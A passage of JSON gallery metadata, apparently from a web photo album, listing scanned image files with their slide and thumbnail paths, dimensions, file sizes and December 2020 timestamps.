    S22C-620121019100 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019100_0001.jpg","width":340,"height":260},"fileSize":503604,"name":"S22C-620121019100_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019101_0001.jpg","image":{"path":"slides\/S22C-620121019101_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019101 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019101_0001.jpg","width":340,"height":260},"fileSize":422153,"name":"S22C-620121019101_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513330_0001.jpg","image":{"path":"slides\/S22C-620121513330_0001.jpg","width":1000,"height":692},"imageCaption":"
    S22C-620121513330 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513330_0001.jpg","width":340,"height":260},"fileSize":390621,"name":"S22C-620121513330_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513331_0001.jpg","image":{"path":"slides\/S22C-620121513331_0001.jpg","width":1000,"height":692},"imageCaption":"
    S22C-620121513331 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513331_0001.jpg","width":340,"height":260},"fileSize":359143,"name":"S22C-620121513331_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513132_0001.jpg","image":{"path":"slides\/S22C-620121513132_0001.jpg","width":1000,"height":708},"imageCaption":"
    S22C-620121513132 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513132_0001.jpg","width":340,"height":260},"fileSize":218913,"name":"S22C-620121513132_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019113_0001.jpg","image":{"path":"slides\/S22C-620121019113_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019113 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019113_0001.jpg","width":340,"height":260},"fileSize":571650,"name":"S22C-620121019113_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019112_0001.jpg","image":{"path":"slides\/S22C-620121019112_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019112 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019112_0001.jpg","width":340,"height":260},"fileSize":953248,"name":"S22C-620121019112_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019052_0001.jpg","image":{"path":"slides\/S22C-620121019052_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019052 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019052_0001.jpg","width":340,"height":260},"fileSize":666265,"name":"S22C-620121019052_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517113_0001.jpg","image":{"path":"slides\/S22C-620121517113_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121517113 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517113_0001.jpg","width":340,"height":260},"fileSize":570184,"name":"S22C-620121517113_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516050_0001.jpg","image":{"path":"slides\/S22C-620121516050_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516050 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516050_0001.jpg","width":340,"height":260},"fileSize":231675,"name":"S22C-620121516050_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516051_0001.jpg","image":{"path":"slides\/S22C-620121516051_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516051 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516051_0001.jpg","width":340,"height":260},"fileSize":147698,"name":"S22C-620121516051_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019150_0001.jpg","image":{"path":"slides\/S22C-620121019150_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019150 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019150_0001.jpg","width":340,"height":260},"fileSize":1345351,"name":"S22C-620121019150_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517011_0001.jpg","image":{"path":"slides\/S22C-620121517011_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517011 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517011_0001.jpg","width":340,"height":260},"fileSize":453536,"name":"S22C-620121517011_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513171_0001.jpg","image":{"path":"slides\/S22C-620121513171_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513171 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513171_0001.jpg","width":340,"height":260},"fileSize":334537,"name":"S22C-620121513171_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513170_0001.jpg","image":{"path":"slides\/S22C-620121513170_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513170 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513170_0001.jpg","width":340,"height":260},"fileSize":775103,"name":"S22C-620121513170_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517082_0001.jpg","image":{"path":"slides\/S22C-620121517082_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517082 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517082_0001.jpg","width":340,"height":260},"fileSize":1040496,"name":"S22C-620121517082_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019083_0001.jpg","image":{"path":"slides\/S22C-620121019083_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019083 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019083_0001.jpg","width":340,"height":260},"fileSize":394820,"name":"S22C-620121019083_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019082_0001.jpg","image":{"path":"slides\/S22C-620121019082_0001.jpg","width":1000,"height":706},"imageCaption":"
    S22C-620121019082 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019082_0001.jpg","width":340,"height":260},"fileSize":821352,"name":"S22C-620121019082_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513030_0001.jpg","image":{"path":"slides\/S22C-620121513030_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513030 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513030_0001.jpg","width":340,"height":260},"fileSize":1236669,"name":"S22C-620121513030_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513031_0001.jpg","image":{"path":"slides\/S22C-620121513031_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513031 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513031_0001.jpg","width":340,"height":260},"fileSize":1174619,"name":"S22C-620121513031_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516203_0001.jpg","image":{"path":"slides\/S22C-620121516203_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516203 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516203_0001.jpg","width":340,"height":260},"fileSize":629520,"name":"S22C-620121516203_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515434_0001.jpg","image":{"path":"slides\/S22C-620121515434_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121515434 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515434_0001.jpg","width":340,"height":260},"fileSize":682525,"name":"S22C-620121515434_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513202_0001.jpg","image":{"path":"slides\/S22C-620121513202_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513202 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513202_0001.jpg","width":340,"height":260},"fileSize":464134,"name":"S22C-620121513202_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516453_0001.jpg","image":{"path":"slides\/S22C-620121516453_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516453 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516453_0001.jpg","width":340,"height":260},"fileSize":583909,"name":"S22C-620121516453_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515353_0001.jpg","image":{"path":"slides\/S22C-620121515353_0001.jpg","width":1000,"height":615},"imageCaption":"
    S22C-620121515353 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515353_0001.jpg","width":340,"height":260},"fileSize":680371,"name":"S22C-620121515353_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515461_0001.jpg","image":{"path":"slides\/S22C-620121515461_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515461 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515461_0001.jpg","width":340,"height":260},"fileSize":248394,"name":"S22C-620121515461_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515460_0001.jpg","image":{"path":"slides\/S22C-620121515460_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515460 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515460_0001.jpg","width":340,"height":260},"fileSize":326860,"name":"S22C-620121515460_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513081_0001.jpg","image":{"path":"slides\/S22C-620121513081_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513081 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513081_0001.jpg","width":340,"height":260},"fileSize":454279,"name":"S22C-620121513081_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513080_0001.jpg","image":{"path":"slides\/S22C-620121513080_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513080 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513080_0001.jpg","width":340,"height":260},"fileSize":540173,"name":"S22C-620121513080_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019032_0001.jpg","image":{"path":"slides\/S22C-620121019032_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019032 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019032_0001.jpg","width":340,"height":260},"fileSize":492753,"name":"S22C-620121019032_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018453_0001.jpg","image":{"path":"slides\/S22C-620121018453_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018453 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018453_0001.jpg","width":340,"height":260},"fileSize":425357,"name":"S22C-620121018453_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513241_0001.jpg","image":{"path":"slides\/S22C-620121513241_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513241 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513241_0001.jpg","width":340,"height":260},"fileSize":435481,"name":"S22C-620121513241_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513301_0001.jpg","image":{"path":"slides\/S22C-620121513301_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513301 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513301_0001.jpg","width":340,"height":260},"fileSize":659177,"name":"S22C-620121513301_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517094_0001.jpg","image":{"path":"slides\/S22C-620121517094_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517094 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517094_0001.jpg","width":340,"height":260},"fileSize":229137,"name":"S22C-620121517094_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516483_0001.jpg","image":{"path":"slides\/S22C-620121516483_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516483 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516483_0001.jpg","width":340,"height":260},"fileSize":167451,"name":"S22C-620121516483_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019130_0001.jpg","image":{"path":"slides\/S22C-620121019130_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019130 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019130_0001.jpg","width":340,"height":260},"fileSize":583981,"name":"S22C-620121019130_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513182_0001.jpg","image":{"path":"slides\/S22C-620121513182_0001.jpg","width":567,"height":800},"imageCaption":"
    S22C-620121513182 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513182_0001.jpg","width":340,"height":260},"fileSize":571319,"name":"S22C-620121513182_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516262_0001.jpg","image":{"path":"slides\/S22C-620121516262_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516262 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516262_0001.jpg","width":340,"height":260},"fileSize":591052,"name":"S22C-620121516262_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517130_0001.jpg","image":{"path":"slides\/S22C-620121517130_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517130 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517130_0001.jpg","width":340,"height":260},"fileSize":301275,"name":"S22C-620121517130_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517131_0001.jpg","image":{"path":"slides\/S22C-620121517131_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517131 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517131_0001.jpg","width":340,"height":260},"fileSize":322423,"name":"S22C-620121517131_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019070_0001.jpg","image":{"path":"slides\/S22C-620121019070_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019070 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019070_0001.jpg","width":340,"height":260},"fileSize":913514,"name":"S22C-620121019070_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513051_0001.jpg","image":{"path":"slides\/S22C-620121513051_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513051 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513051_0001.jpg","width":340,"height":260},"fileSize":1088840,"name":"S22C-620121513051_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019042_0001.jpg","image":{"path":"slides\/S22C-620121019042_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019042 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019042_0001.jpg","width":340,"height":260},"fileSize":776883,"name":"S22C-620121019042_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019043_0001.jpg","image":{"path":"slides\/S22C-620121019043_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019043 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019043_0001.jpg","width":340,"height":260},"fileSize":874070,"name":"S22C-620121019043_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517102_0001.jpg","image":{"path":"slides\/S22C-620121517102_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517102 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517102_0001.jpg","width":340,"height":260},"fileSize":470725,"name":"S22C-620121517102_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513062_0001.jpg","image":{"path":"slides\/S22C-620121513062_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513062 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513062_0001.jpg","width":340,"height":260},"fileSize":814537,"name":"S22C-620121513062_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516423_0001.jpg","image":{"path":"slides\/S22C-620121516423_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516423 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516423_0001.jpg","width":340,"height":260},"fileSize":342558,"name":"S22C-620121516423_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019103_0001.jpg","image":{"path":"slides\/S22C-620121019103_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019103 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019103_0001.jpg","width":340,"height":260},"fileSize":1433428,"name":"S22C-620121019103_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513154_0001.jpg","image":{"path":"slides\/S22C-620121513154_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513154 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513154_0001.jpg","width":340,"height":260},"fileSize":435464,"name":"S22C-620121513154_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513332_0001.jpg","image":{"path":"slides\/S22C-620121513332_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513332 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513332_0001.jpg","width":340,"height":260},"fileSize":479485,"name":"S22C-620121513332_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019092_0001.jpg","image":{"path":"slides\/S22C-620121019092_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019092 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019092_0001.jpg","width":340,"height":260},"fileSize":709235,"name":"S22C-620121019092_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513021_0001.jpg","image":{"path":"slides\/S22C-620121513021_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513021 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513021_0001.jpg","width":340,"height":260},"fileSize":315496,"name":"S22C-620121513021_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018460_0001.jpg","image":{"path":"slides\/S22C-620121018460_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018460 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018460_0001.jpg","width":340,"height":260},"fileSize":467847,"name":"S22C-620121018460_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019141_0001.jpg","image":{"path":"slides\/S22C-620121019141_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019141 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019141_0001.jpg","width":340,"height":260},"fileSize":684151,"name":"S22C-620121019141_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516352_0001.jpg","image":{"path":"slides\/S22C-620121516352_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516352 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516352_0001.jpg","width":340,"height":260},"fileSize":485296,"name":"S22C-620121516352_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513161_0001.jpg","image":{"path":"slides\/S22C-620121513161_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513161 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513161_0001.jpg","width":340,"height":260},"fileSize":385592,"name":"S22C-620121513161_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517092_0001.jpg","image":{"path":"slides\/S22C-620121517092_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517092 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517092_0001.jpg","width":340,"height":260},"fileSize":192896,"name":"S22C-620121517092_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515424_0001.jpg","image":{"path":"slides\/S22C-620121515424_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515424 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515424_0001.jpg","width":340,"height":260},"fileSize":224554,"name":"S22C-620121515424_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513231_0001.jpg","image":{"path":"slides\/S22C-620121513231_0001.jpg","width":567,"height":800},"imageCaption":"
    S22C-620121513231 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513231_0001.jpg","width":340,"height":260},"fileSize":168455,"name":"S22C-620121513231_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513230_0001.jpg","image":{"path":"slides\/S22C-620121513230_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513230 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513230_0001.jpg","width":340,"height":260},"fileSize":141759,"name":"S22C-620121513230_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517054_0001.jpg","image":{"path":"slides\/S22C-620121517054_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517054 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517054_0001.jpg","width":340,"height":260},"fileSize":402458,"name":"S22C-620121517054_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018574_0001.jpg","image":{"path":"slides\/S22C-620121018574_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018574 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018574_0001.jpg","width":340,"height":260},"fileSize":446761,"name":"S22C-620121018574_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516591_0001.jpg","image":{"path":"slides\/S22C-620121516591_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516591 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516591_0001.jpg","width":340,"height":260},"fileSize":826119,"name":"S22C-620121516591_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516590_0001.jpg","image":{"path":"slides\/S22C-620121516590_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516590 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516590_0001.jpg","width":340,"height":260},"fileSize":345679,"name":"S22C-620121516590_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018371_0001.jpg","image":{"path":"slides\/S22C-620121018371_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018371 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018371_0001.jpg","width":340,"height":260},"fileSize":125844,"name":"S22C-620121018371_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516230_0001.jpg","image":{"path":"slides\/S22C-620121516230_0001.jpg","width":566,"height":800},"imageCaption":"
